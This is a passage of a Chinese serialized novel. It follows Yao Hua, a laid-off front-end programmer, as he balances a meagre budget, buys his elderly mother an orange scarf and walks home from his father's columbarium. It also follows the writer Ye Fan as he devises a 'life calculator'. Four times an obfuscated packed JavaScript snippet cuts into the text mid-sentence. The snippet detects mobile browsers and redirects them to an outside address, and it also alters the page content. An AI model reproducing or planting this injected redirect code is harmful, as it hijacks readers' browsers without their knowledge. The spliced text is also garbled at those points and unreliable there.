不知过了多久，他拿起手机，给借机器的邻居发消息：“看完了。机器怎么还你？” 对方回得快：“怎么样？老带子，有年头了吧？瞧见小时候的自己了？” 姚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119440|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华手指在屏幕上悬了一阵，打字：“瞧见了。还有半截水泥地。” 对方丢来一个问号：“水泥地？” “嗯。”姚华写，“对着地，拍了半个钟头。” “哈哈，”邻居回道，“怕是当时忘关了吧？老机器都这样。有意思，这算不算最早的行为艺术？” 行为艺术。姚华嘴角扯了扯。他想父亲后来喝酒的模样，想母亲深夜的叹息，想自己那些咬着被角不敢哭出声的夜晚。如果这也是行为艺术，那他们一家的作品，可真够漫长的。 “也许吧。”他最后回，“明天还你机器。谢了。” 放下手机，他拿起那盒带子。塑料壳有点黏手，是老化的油。标签上“华子百天”四个字，在灯下显得有点滑稽。 百天。人生第一个大日子。录下了母亲的柔，父亲笨拙的盼，然后是一场没来由的晃动和中断。最后，是三十分钟沉默的、钉在水泥地上的镜头。 他把带子慢慢转过来。背面贴了张小小的、褪了色的不干胶贴画，是米老鼠，咧着嘴笑。估计是当年随手摁上去的。 姚华用拇指蹭了蹭那只米老鼠。贴画边角已经卷起，颜色淡得快要看不见。 他想，这大概就是他这辈子最早的注脚了：一段短而模糊的暖和，一次突然的颠簸和折断，接着是漫长的、对着粗糙地面的、一言不发的看。 他把带子重新塞进塑料袋，裹回那床牡丹花床单里。床单上的牡丹开得正疯，大红大绿，是那个年代特有的、不管不顾的喜庆。 裹好，推回壁橱最深处。 带上壁橱门时，他好像又听见带子里，父亲那句带着笑意的催： “笑一个！华子，给爸笑一个！” 电视屏幕早就灭了，黑沉沉的，像口深井，吞掉了所有响动和光影。只有窗外城市的夜光，从没拉严的窗帘缝挤进来，在地板上切出一道冷清的、细长的白，像那片水泥地上，曾经停过又走掉的、不说话的光痕。 34. 第三十四章 平静的公式 账本快写满了。算式摞算式，涂改叠涂改，箭头七拐八绕，像心里那点弯弯肠子具了形。姚华翻开新的一页，用孩子美术班捡的半截红彩铅，在顶头工工整整地写： 月支出 ≤ (存款利息 + 失业保险金 + 零工收入) 他盯着，像盯一道符。等号那道横，描得又黑又粗，带着股斩钉截铁的狠劲。其实他门儿清：生活这潭水，哪能这么一斧子劈开，左是左，右是右？ 存款利息得算。几张存单几张卡，活期定期，外加一个绑着保险、上限三十五万的理财。加一遍，减一遍，计算器按了三回，三回数目都对不上。最后取个中间数，四百二。想起爹当年下岗，买断工龄拿了两万。那钱要是存到今天，利息够买瓶像样的酒不？够呛。怕是连瓶盖都撬不开。 失业保险金，每月一千六。这钱来得比上班还准，每月准时到账，像份薪水，专为提醒你：你是个登记在册的“失业人口”。听说有人能领足两年，他默默一算，七百多天。自己那份，已划掉不少了。 零工收入是没谱的。帮人校稿，千字十块；朋友介绍写软文，一篇三百；上月在超市门口帮人扫码，站一天，八十。这些零零碎碎，记在一个小学生田字格本上。月底加起来，有时能上千，有时就五六百。这个月算走运，以前一个客户找来，维护个早没人用的老网站，给了八百。三样归拢一块：二千八百二。 支出那边倒清爽。房贷扣掉公积金，还得补一千出头；水电煤气电话网，三四百；吃饭尽量自己做，八百以内；母亲的养老院，有她的退休金和长护险，窟窿暂时轮不着他填。杂七杂八一加，总支出：二千七百六。 他瞅瞅左边，又瞅瞅右边。左边进项：二千八百二；右边出项：二千七百六。中间隔着那条描粗了的“≤”。 齐了。 左边比右边多出六十整。 姚华撂下笔，身子往后一仰。窗外是2023年冬天，天灰得像个旧锅底，树枝子胡乱划拉，没个章法。他心里没起高兴，也没觉轻松，只是空落落的，有种奇怪的稳当。像走钢丝的人，晃悠到了正当中，往下看是空的，往前望，两头都还远。 多出这六十块能干啥？头一个念头是存着，防备下个月公式不成立。转念一想，太憋屈。公式头一回两边对上，总该有点响动。 他披上外套，去了附近的老市场。里头气味浑浑浊浊，生肉、鱼腥、廉价香料搅和成一团。走到卖毛线的摊子前，他站住了。摊主是个脸红扑扑的大妈，手里织着东西，针脚快得让人眼花。 “买毛线？自己打还是送人？”大妈嗓门敞亮。 “看看围巾。”姚华说。 “围巾好，暖和。给对象买？”大妈瞄了瞄他花白的寸头。 “给……我妈。”姚华说。 “孝子啊！”大妈立马从底下抽出几条织好的，“藏青，稳重！米白，干净！格子的，洋气！” 姚华看了看，手却指向挂在一旁最显眼处：“那个橘的……多少钱？” 大妈怔了下，扯下那条橘得扎眼、近乎晃眼的围巾：“这个？小年轻买得多，鲜亮！你妈……高寿了？” “七十多了。” “七十多戴这个？”大妈咂咂嘴，“大兄弟，不是我多嘴，这色太艳了，老太太压不住。这条酒红的好，暗红，喜气又不乍眼，最合老人家。” 姚华摸了摸那条橘围巾。毛线软，蓬蓬的，颜色是那种不管不顾的橘，像熟透的橘子，在这灰扑扑的市场里，有点格格不入。 “就这个。多少钱？” “三十五。”大妈报了价，还不死心，“真不看酒红的？一样价。” “就它了。” 付了钱，塑料袋装着橘围巾走出市场，冷风一灌，姚华才觉出自己这举动有点傻。母亲一辈子节省，衣裳不是灰就是蓝，顶艳也就一件暗紫毛衣。这条围巾，到她眼里，怕是胡闹。 周末去养老院。张玉芬坐在活动室窗边，看外头几个老头慢悠悠打太极。姚华把塑料袋递过去。 “买了条围巾，天冷了。” 张玉芬接过来，掏出那条橘围巾，展开，眉毛动了动。 “这颜色……”她停了停，把围巾举到眼前看看，又贴脸上蹭蹭，“跟团火似的。” “不喜欢？”姚华问，心里预备着听“瞎花钱”、“不会买”这些词儿。 张玉芬没直接答。她把围巾绕脖子上，笨拙地打了个结。橘色衬着她满头的白和脸上的褶，对比得有点扎眼。 “像不像……”她转过头问姚华，“像不像你姥爷水果摊上，那种熟透了、甜得发慌、快烂了才肯便宜卖的橘子？” 姚华没料到母亲这么比。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119441|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “太艳了。”张玉芬又说，手指捻着围巾穗子，“我这么个老太婆，戴出去，人家当是老妖精。” “那摘了吧。”姚华伸手。 “摘什么摘，”张玉芬挡开他手，把围巾又裹紧些，“买了就戴着。倒是暖和。” 打那以后，每次姚华去，都看见母亲戴着那条橘围巾。食堂吃饭戴着，走廊晒太阳戴着，屋里看电视也戴着。围巾成了她身上最显眼的一样东西，显眼得有点倔，像用这法子，跟养老院里四处弥漫的灰白与安静，暗暗较着劲。 几天后的一个下午，姚华手机震了一下。护工小赵发来微信，没字，就一张照片。 点开。午后太阳斜斜照进走廊，在地上切出明亮的光块。张玉芬歪在轮椅里，睡着了。头侧向一边，嘴微微张着，白发有点乱。身上盖着养老院的薄毯，但脖子上，那条橘围巾还系着，扎眼。 照片是从侧后拍的。围巾长，一头绕在母亲脖子上，一头垂下来，搭着轮椅扶手，又往下，够到地面。毛线软塌塌的，在阳光里泛着层毛茸茸的光。垂下的那截，正好在轮椅影子的边边上，又被一小块光打着，像一道桥，软的，连着睡着的老人和冰凉的地。 小赵又发来一条字：“张姨今天睡得好香。围巾颜色真好看[笑脸]。” 姚华放大照片，看着那垂下的橘围巾。它松松地、没筋没骨地耷拉着，上头连着母亲安睡的脖子，下头轻轻点着地。 像一截脐带。 这念头冒出来，他心里咯噔一下。脐带，供着养分，也是牵绊；是打头连着的凭据，终了也是要断的。 他盯着照片看，直到屏幕暗下去。公式算是平了，多出的六十块变了条围巾。围巾暖和，颜色扎眼，像灰扑扑的算式里，一个突然蹦出来的活数。它缠在母亲衰老的脖颈上，一头系着温热，另一头，静悄悄地，朝地面垂下去。 他关上手机，走到窗边。外头暮色合下来了，城里的灯一盏一盏亮起来。每盏灯底下，大概都在演算着自己的公式。有的左边比右边阔出去一大截，有的右边死死压着左边，叫人喘不过气。他的公式，刚刚取得了一丁点儿、暂时的平衡，左边刚好多出来那么一丝丝。 就靠着这一丝丝，他给母亲买了条橘围巾。母亲戴着它，在太阳底下睡着了。围巾的一角垂下来，像道温柔的算式，静静写在冬天的黄昏里。 35. 第三十五 行走的遗产 寄存处的管理员，又换了。这回是个年轻小伙，制服大得能装下俩他，肩膀那塌下去一块，像让谁抽了骨头。他正盯着手机，外放的短视频一阵阵爆笑，嘎嘎的，像被人掐着脖子的鸭子。姚华敲了敲玻璃窗，笑声停了停，小伙子的眼皮从屏幕上抬起来一半，喉结动了动：“办啥？” “续费。骨灰寄存。”姚华把单据和身份证从窗底下那条掉了漆的缝里塞进去，动作熟得跟递棵白菜似的。 小伙子接过去，一只手在键盘上噼里啪啦，眼角的余光还钩在屏幕上。“姚建国……307格。一年一百二，现钱。” 姚华数出钱，递进去。小伙子扯了张收据，连同一支缠着胶布、仿佛得了静脉曲张的圆珠笔推出来：“名儿签这儿。自己进去吧，老规矩，最里面那排。”话没说完，眼神又跌回屏幕上，那鸭子又开始嘎嘎笑了。 走廊是真长。顶上的日光灯管嗡嗡响，像一群赶不走的苍蝇。光打下来，是惨白的一层，敷在两边密密麻麻的格子柜上，冷冰冰的，像进了档案室。每个格子上都贴着照片，笑的，不笑的，更多是没表情的。空气里有股子味儿，香烛的腻歪混着灰尘的干巴，还有点儿别的，说不清，像日子搁久了捂出来的馊气。 他找到307格。父亲那张一寸黑白照嵌在玻璃后面，是很多年前的了。头发还密着，嘴角抿得紧，眼神望着镜头外边，不知在看啥，也看不出是高兴还是不高兴——好像他这辈子，也没给谁留下过“高兴”的明确证据。照片底下，生卒年月是手写的，墨水淡了，洇开些毛边，像被水浸过的人生，总也清晰不了。 他蹲下身，布袋里掏出个透明塑料袋，里面是街口买的驴打滚，软趴趴挤在一起，没了形。父亲以前喝多了，舌头打结的时候，偶尔会念叨这个，像念叨一个失散多年的亲戚。他把点心袋子放在格子前的水磨石地上。又摸出三支细香，就着走廊尽头那盏长明灯的火苗点上，青烟细细地、犹豫地升起来，插进底下那个积了厚灰、几乎看不出本色的小碟里。那烟味儿冲一冲，周围的陈腐气好像被挤开一条缝，随即又合拢了。 他没立刻走。腿蹲得有点麻，目光就滑到了旁边的格子上。306格，照片上是个老太太，圆脸，卷头发，笑得眼睛没了缝，看着挺暖和。底下写着：郭茹芬，1925-2008。 “笑得倒是痛快。”姚华心里动了一下。他想起母亲张玉芬，她留下的“百天”录像带里也有笑，可那是努力扯出来的，底下垫着一层生涩，像没发好的面。不像这位，笑是敞开来的，好像一辈子没攒下什么愁事，或者，愁事都让她笑过去了。 又待了一小会儿，他撑着膝盖站起来，骨节咔吧响了一声。最后看了一眼玻璃后面。父亲还是那样，沉默着，跟他记忆里大多数时候，严丝合缝。这种严丝合缝，本身就是一种判决。 走出殡仪馆大门，下午的太阳光白花花地劈下来，晃眼，像一把钝刀子。路边蹲着几个等活的黑车司机，烟叼在嘴里，看见他，懒洋洋地扬了扬下巴：“走不？市区，便宜。”那口气不像拉客，倒像施舍。 姚华摇了摇头。他本该去马路对面，挤公交，再倒地铁，吭哧吭哧一个多钟头才能回去。可今天，看着眼前中环线上淌成河的车，看着光柱里上下翻飞、不知归宿的尘土，他脑子里忽然冒出个念头，清清楚楚的，像有人在他耳边念了一句： 走回去。 这念头没来由，却扎了根。他想起父亲，姚建国。老爷子一辈子，自行车没骑过，公交车没坐过，地铁更别提。他去哪儿，全靠走。年轻时走去包子铺上班，下岗了走去北站拉活儿，老了走去小卖部打酒。他活着的那个圈，就是他两只脚一步一步量出来的，半径不大，画得却深。 “那就走走看。”姚华对自己说，像是接下了一个没头没尾的挑战。他把装香灰的塑料袋团了团，塞进外套口袋，又把肩上那个洗得发白、边角起毛的帆布包带子拽了拽，迈开了腿。 沿着中环线辅路，往西。第一个路过的是北站旧址。老火车站早搬了，那气派的候车大厅拆得连砖头都不剩，原地杵起几栋玻璃楼，亮闪闪的，看不出是干啥的，反正跟老百姓赶火车没关系了。楼前一大片空地，划着白线，成了收费停车场。几辆车没精打采地趴在那儿，像些吃撑了的甲虫。姚华站住了看，想从那片空荡荡的水泥地上，抠出父亲当年的影子——瞪着一辆除了铃不响哪儿都响的破三轮，守在出站口，见着扛大包小包的人就凑上去，喉结动一下，声音从喉咙深处挤出来：“师傅，拉点儿东西？”风吹，日头晒，一天下来，兜里能落下几个叮当响的钢镚儿？现在，连这点影子也没处寻了。只有收费亭里，另一个百无聊赖的人，在玩手机，屏幕的光映在他脸上，也是一片空白。 他继续走。过了北站，街道的模样慢慢亲了，或者说，旧了。前面是第二中学，母亲张玉芬卖了十几年教辅书的地方。学校阔气了，围墙加高，门口还修了带棚子的等候区，有椅子。正是放学时候，门口堵成了粥，小汽车、电动车，各色校服的学生像潮水一样涌出来，又迅速被各自的家长“捞”走。几个卖零嘴、卖小玩意儿的摊贩，机警地散在远处，眼珠子骨碌碌转，脚底下像抹了油，时刻准备着跟城管打游击。没有卖书的老太太了。姚华站在马路对面，看了很久，直到学生散尽，门口冷清下来，像个卸了妆的戏台。他好像又看见母亲那辆装满书的三轮车，看见她被穿制服的人挥手驱赶时，那慌张又熟练地一拐，钻进旁边的小巷，看见她低着头，在昏黄的灯下，数那些皱巴巴的毛票，蘸一下唾沫，数一张。那些景象清楚得很，可又像隔着一层毛玻璃，冰凉的，摸不着了，一碰就怕碎。 再往前走，是他念过的小学。盐坨村小学居然还在，可模样全改了。低矮的平房没了，换成一栋贴粉瓷砖的三层楼，像个突然擦了胭脂的老太太。操场上铺了红的塑胶跑道，围墙刷得瓦蓝，画着卡通人，朝气蓬勃得有点刻意。只剩下那棵老槐树，还在老地方，好像更粗了，也更沉默了。姚华隔着铁栏杆望进去，几个孩子在操场上追着跑，尖笑声扎着耳朵。他想起自己那个破败的校园，一个歪脖篮球架，一跑就扬起黄土的操场，还有那个总鼓着腮帮子、像只青蛙的音乐老师。时间在这儿做了笔买卖，用这光鲜亮丽的新皮，换走了他那儿所有灰头土脸的念想。公平不公平，没人说得清。 他就这么走着，看着。路过父亲曾干过两天活儿的电影院旧址，现在是家连锁火锅店，红彤彤的招牌，热气腾腾的假象。路过母亲带他去换房本的房管站，如今挂着房产中介的牌子，玻璃门上贴满红色的房价数字，像一道道符咒。路过他第一次领工资后，请母亲下馆子的小饭馆，早变成二十四小时便利店，白亮的灯光冷清清地照着空了一半的货架，像个守夜人。 城在变，又像没变。路宽了，楼高了，招牌换了一茬又一茬，眼花缭乱。可那股子底层的、为一口吃食喘气挣扎的味道，好像还盘在些角落里，只是换了身衣裳，学会了新的台词。 天光暗下来了，路边的灯，一盏接一盏地亮起，不情愿似的。姚华觉得脚底板发烫，像踩着两片烙铁；小腿肚子硬得像两块石头，硌着筋；汗把内衣溻透了，贴在背上，凉一阵，又痒一阵，像有许多小虫子在爬。可他没停。好像一停下，撑着走完这条路的那个什么东西，那个说不清道不明的东西，就散了，就再也攒不起来了。 黄昏爬上肩膀的时候，他看见了北郊区那限价房小区的大门。那几栋六层的板楼，在暮色里显出敦实的轮廓，像几个蹲着休息的巨人。他几乎是一寸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119442|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一寸挪到门口的，身子靠在冰凉的门禁杆上，大口喘气，肺叶子像个破风箱。他从裤袋里掏出手机，屏幕的光刺了一下眼，他点开那个计步软件。 今日步数：41732。 他盯着那数字，看了好几秒。四万多步，是多远？他没概念。只觉得这数字大得有点荒唐，又沉得有点呛人，像是一笔突然算不清的账。 喘匀了气，他刷卡，“嘀”一声，进了小区，走进电梯。不锈钢的电梯门像面没磨光的镜子，照出他现在的样：头发被汗粘成一绺一绺，灰的白的花着，像秋后的野草；脸涨红着，嘴张着喘气，像个离了水的鱼；T恤领口湿了一圈，整个人像刚从一场漫长的、无人知晓的跋涉里逃出来，丢盔弃甲。 他忽然想起了父亲。父亲走了一辈子，走到头发掉光，走到酒瓶见底，走到悄没声地倒在老屋冰冷的水泥地上。他以前不懂，觉得那是倔，是怪，是没能耐，是跟时代赌气。可这会儿，他自己喘着粗气，看着镜子里那个同样疲惫、早生了半头华发、眼神空落落的人，有个念头，像电梯上升时猛地一拽肚子，直撞上来： 或许，父亲那些看着没头没脑的、倔驴似的走，从来不是为了到哪个具体的地儿。包子铺、北站、小卖部……都不是终点。走这件事本身，怕才是他唯一的目的，是他跟这世界最实在的交道。在一脚接一脚的挪动里，在筋肉酸胀的滋味和喘气的节奏里，在身子骨和地面这没完没了的、单调的较劲里，他才能咂摸出自己还在动着，还没彻底僵了，还没被日子活活钉死在那儿。走着，就是一种呼吸法，一种对抗“不动”的土方子。 行走，成了他对抗不动弹的唯一法子，是他留给这世界，也是留给自己最后一份遗产，一份笨拙的、却只有靠双脚才能领到的遗嘱。这遗嘱没写字，就印在这一步一步里。 “叮——” 一声，六楼到了。电梯门缓缓滑开，不紧不慢。 姚华拖着两条灌了铅的腿挪出来，掏出钥匙。钥匙插进锁孔，转动，发出干脆的一声“咔哒”。门开了。 屋里没开灯，昏沉沉的。只有西边窗户，漏进来最后一点天光，把窗棂的影子拉得老长，一格一格，打在空荡荡的客厅地板上。那影子方方正正的，冷冷的，像一本摊开了却永远写不满的账本，上面也许只胡乱划着几笔，谁也看不懂，而且，再也添不了什么新数了。 他没去摸开关，也没换鞋。就那样带着一身外面的尘土和汗味，慢慢走到窗前，像个终于到站的旅客，却找不到自己的座位。 远处，那片闹腾了好几年的工地上，塔吊顶端的红灯亮了，一闪，一闪，在越来越浓的夜色里，慢吞吞地、固执地划着圆弧。那巨大的铁臂在转，慢得像老座钟的时针，沉甸甸的，笨得很，却又一分不差地，挪向下一格。它指着的地方，是更远处还没亮起灯火、模糊成一片的城际线，是明天，是下一个节气，是一个没人知道、也没人约好的将来。它只管转着，像一种与生俱来的职责，或者，一种惯性。 夜风从窗缝里挤进来，带着尘土和远处工地铁锈的凉气。吹动他汗湿的头发梢，吹动桌上摊着的那本记账簿——扉页上那个他算了好久也没完全平的公式，纸角轻轻掀起来，又落下，像个无声的叹息。 姚华站在窗前，看着那一明一灭的红点，和那缓缓转动的巨大黑影。他没动，只是看着。腿上的酸疼一阵阵泛上来，提醒他刚才那四万多步的存在。 屋里真静。静得能听见自己心在腔子里跳，咚，咚，咚，不慌不忙；能听见血淌过太阳穴，嗡嗡的，像条小小的、不肯歇的河，自顾自地流着。 这声响，是一种证明。证明行走停下了，生命里头那座钟的摆，还没停。它还得摇，摇到摇不动为止。跟那塔吊一样，笨拙地，一圈，又一圈。 36. 第三十六章 人生计算器V1.0 窗外那暮色，跟放凉了的茶差不多，由金黄变成灰褐，也就是一晃眼的事。叶凡坐在书桌前，台灯的光在他脸上明明暗暗，像心里有事没摁住。 他拨了个存了好些年的号。 “嘟——嘟——” “喂？”那头声有点哑，背景里有炒菜的动静，滋啦滋啦的。 “华仔，我叶凡。”他停了一下，“问你个事儿？” “叶凡啊！”姚华声亮了些，“啥事？说！” 叶凡翻着面前的本子，纸都泛黄了，密密的字像时间长的苔。那是2019年秋天，在姚华租的屋里记的——三十平米，堆满了编程书和他母亲的中药罐子。 “几年前我不是采访过你，想写写你的事么？”叶凡问。 “嗯，记得。”姚华声远了一下，大概是对边上人说“妈，盐少点儿”，又凑回话筒，“2019年吧，我给你说了一天。那天还下雨了，是不？” “对，窗玻璃上全是水汽。”叶凡想起那个潮乎乎的下午，姚华说话时老看窗外，好像那些旧事都晾在铁丝上，随风晃荡。 “现在写到你带你妈离开你那酒鬼爹，去望海楼那边租房子那段了。”叶凡用笔尖在本子上轻轻点着，“那条胡同叫啥来着？我本子上记不清了，名儿好像有点怪。” 电话里静了。叶凡听见打火机响，一下，两下，然后一声长长的吐气。 “地藏庵。”姚华说，声很轻，“地藏庵大街。” “啥？” “地藏庵大街。”姚华重复一遍，“你刚说好像不是这名儿，但我这阵突然想起来了。就是地藏庵大街。” 叶凡赶紧记下这四个字。地藏庵——地狱不空，誓不成佛。这名儿，装着救赎，也装着苦。 “刚才咋说想不起来？”叶凡问。 姚华笑了笑，笑声里透着累：“可能是不太愿意想吧。那会儿……太苦了。这么小的屋子，没暖气，冬天墙上一层霜。我妈的关节炎，就是那时落下的。” “可你们熬过来了。” “嗯，熬过来了。”姚华顿了顿，“不过有时候我也琢磨，人这一辈子，是不是就是从一条地藏庵大街，搬到另一条地藏庵大街？” 叶凡接不上话。他听见那头传来敲键盘的声，轻轻的，但很密。 “最近活儿怎么样？”叶凡转了个话头。 键盘声停了。 “没找着。”姚华说。 “咋回事？”叶凡坐直了。在他印象里，姚华一直是那种绝境里还能敲出代码的主——凭自学编程，硬是把母亲从地藏庵大街带进了商品房，把酒鬼爹的影子关在了从前。 “没咋。”姚华语气平平静静的，平得让人有点不踏实，“今年开年，那新玩意儿起来了，能顶我不少活儿。我做前端的。” “那能顶多少？” “八成吧？”姚华说，又改了改口，“可能更多。上月我去面试，人家直接问：‘你觉得你比它强在哪儿？’我说我有十年经验。人家说：‘我们这东西，喂了四十亿行饭。’” 叶凡想说点啥，可所有安慰的话都显得飘。他想起2019年那个下午，姚华指着满墙的编程书说：“技术不坑努力人。”说这话时，姚华眼里有光，像深夜里屏幕上最后亮着的那行字。 “那你现在……” “学新东西呢。”姚华截住他，语气又轻快起来，“总不能真让机器替了，对吧？对了，我那故事你还写不？” “写。” “写完发我瞅瞅。”姚华说，“我也想知道，在旁人眼里，我这一辈子算个啥账。” 挂了电话，叶凡对着“地藏庵大街”五个字愣了半天神。窗外天全黑了，城的灯一盏盏亮起来，每盏灯后面都是一个正在跑的人生程序——有的顺当，有的报错，有的在等一个永远回不来的数。 他忽然琢磨起一个事儿，一个关于人生的、屁用没有但非琢磨不可的事儿。 他管它叫“人生计算器”。 凌晨两点，叶凡坐在电脑前，屏幕上是刚写完的采访稿。他连续忙活了十八个钟头，就为弄清楚一家金融公司新搞出来的那套系统——据说能算出哪些人可能还不上钱，哪些投资可能打水漂，哪些人生可能走背字。 是的，人生。 叶凡停下手，看着自己记的笔记。那些如果这样那就那样，那些来回绕圈子，那些可能不可能。他突然想到，要是这套法子能算金融风险，咋就不能算算人生风险？ 窗外，城市的灯还亮着。远处的写字楼里，有人和他一样还没睡。他们算着股价、汇率、赚头，算着一切能算的东西。 但没人算人生。 叶凡合上采访本，抽了张空白纸。 第一行，他写道：人生计算器 v1.0。 这算计得从几个简单的数开始。 出生日子、估计能活多久、一个月进多少出多少、心里真正装着几个人、一礼拜有多少时间完全属于自己、饭碗被新玩意儿抢走的可能性有多大。 叶凡停了下来。他意识到，人生的账远比钱账复杂。 钱账只需要数：本钱、利息、时间、风险。 人生需要啥？出生日子、估计寿命、收入、支出，还有...那些没法用秤称的东西。 “心里装着的人”，他写下了这几个字。 真正惦记你的人。想起你时会心里一紧的人。在你趴下时还扶着你的人。 叶凡数了数自己心里装着的人：父母、妹妹、两个大学室友、还有...前女友。五个。 不，现在可能是四个了。前女友大概不再属于这范畴。 收集这些数花了老半天，因为人生本来就长。 叶凡想起了姚华。那个在电话里说“我也想知道，在别人眼里，我的人生算是个什么账”的人。 她生日是啥时候？叶凡不知道。他该知道吗？他们是朋友，至少他认为是。 他写下了自己的生日：1983年2月26日。 一算：已经存在了大概一万五千六百五十五天。 约莫四十二点九年。 叶凡盯着这个数。一万五千多天。听起来不少，但已经过去了一大半。 估计寿命他按平均数写：七十五岁。 再一算：大概还剩一万一千七百二十天。 剩下的比过去的少了，这不是个好消息。叶凡觉得心里一紧。 过日子那部分，叶凡如实填了。 月收入：一万五。 月支出：一万二。房租六千，吃饭三千，交通通讯一千，其他两千。 每月能剩下：三千。 他开始算啥时候能存够一百万： 如果每月真能存下三千，存够一百万得二十七年又八个月。 也就是说，叶凡得干到七十岁才能攒够这个数。而那时，离他估计的人生终点只剩五年。 他苦笑。这就是普通人的存钱时间表，对中年人不怎么友好。 关系那部分让叶凡停得更久。 心里装着的人：五个。父母、妹妹、两个朋友。 他犹豫了一下，划掉了“两个朋友”，改成了“一个”。大学毕业后，还常联系的朋友就剩一个了。 每周完全属于自己的时间：他算了算。每天下班后大概三小时，周末大概八小时，总共约三十小时。但他写了“八小时”，因为真正高质量的、完全属于自己的时间，大概只有这么多。 他算了算关系浓度：假设每人每天需要半小时高质量陪伴，自己这点时间够不够？ 结果出来：七十八点五分。 比想象中高。也许是因为他心里装着的人少，要陪的时间也就不多。 这是讽刺吗？朋友越少，关系浓度越高。 时代那部分最现实。 叶凡如实估了自己的饭碗被抢走的可能性：四十五分。 作为搞技术的，他正在参与弄那些可能取代别人的新玩意儿。但最新的消息说，那新玩意儿已经开始写简单的代码了。也许有一天，他写的东西会被他参与弄的新玩意儿优化，然后新玩意儿会弄出更好的新玩意儿，然后... 然后就不需要他了。 他算了自己跟上时代的程度：五十五分。 刚好过半数。勉强没掉队，但随时可能被甩下。 自己完整度的计算最麻烦： 财务压力是零点八（支出占收入的八成），独处时间占比是零点零四七六（八小时除以一百六十八小时）。 叶凡想，这么算合理吗？钱和时间，真的能定义一个完整的人吗？ 也许不能。但啥能呢？ 白头发速度的计算让叶凡笑了： 压力系数乘上年龄系数，结果是百分之二十八点九。 他已经有几根白头发了，在鬓角。母亲上次视频时看到了，让他注意休息。 他不知道这个百分比是啥意思。每年多百分之二十八点九的白发？还是已经有百分之二十八点九的头发变白了？ 他摸了摸自己的头发。还是黑的，但确实白了一些。 最温暖的计算是笑过多少次： 假设小时候每天笑十回，长大了越来越少，关系浓度和自己完整度也影响笑容。 一算：总共大概笑过一万七千八百五十次。 平均每天：约莫一点二次。 叶凡回想今天笑了几回。早上看见只流浪猫：一回。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119443|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中午同事讲了个笑话：一回。晚上...没有。 也许平均数是对的。有些天笑得多，有些天笑得少。 半夜醒来的次数： 压力越大，半夜醒得越多。 结果：大概两千零四十夜。 叶凡想，这大概是对的。他有失眠的毛病，尤其在想不明白事儿的时候，年纪越大，攒下的清醒夜越多。 比如现在。 后悔清单最扎心： 程序根据叶凡的人生状态选了三项： 1. 太早放弃了小时候的梦想 2. 用忙代替想，用热闹代替独处 3. 在虚的地方浪费了实的时光 小时候的梦想是啥？叶凡想了想。画家？不对。开飞机？不对。好像是...写东西。 他曾经想写小说，写那些算不清的人生。 现在他写采访稿，算那些能算的一切。 最后的综合评分： 叶凡的得分：七十一点五分。 评语：“在缝里找到了平衡，但时间不等人了。” 他盯着这个分数。七十一点五。百分制的话，是良好，不是优秀。 他的人生得了良好，并且随着剩的时间越来越少，这分数可能很难再往上提。 该满意吗？还是该追优秀？ 追优秀需要干啥？赚更多钱？交更多朋友？更跟上时代？ 他不知道。 完整的报告出来后，叶凡看了很久。 这就是他的人生账。输入几个数，输出一张单子。 清楚，明白，有点凉。 叶凡想起了姚华。他该把这琢磨出来的东西告诉她。 但他犹豫了。 姚华会怎么填他的数？他心里装着几个人？他每周有多少自己的时间？他的饭碗被抢的可能性有多大？ 他不知道。 也许这就是问题。他能算自己的人生，但算不了别人的。就算用同样的法子，同样的公式。 因为有些数，只有自己知道。 有些结果，只有自己明白。 凌晨三点，叶凡终于琢磨完了。 他把那张纸折好，放进抽屉。 然后，他抽了张新纸，开始写点不一样的。 这一次，不算账。 而是写字。 关于算法算不了的东西。关于情分，关于念想，关于胆子。 关于那些半夜醒来时想的事儿。 关于那些笑的时候觉着的暖乎。 关于那些后悔时明白的理。 他写道： “人生没法真算清，就像算盘打不出情分、念想和胆子。你那独一份的人生账，只能你自己来算。” 他把这张纸和刚才那张放一起。 这是第三十六章。关于一个人生计算器，和一个琢磨它的人。 叶凡关掉台灯，走到窗前。 城市还醒着，灯还亮着。 他想起了最后那句话： 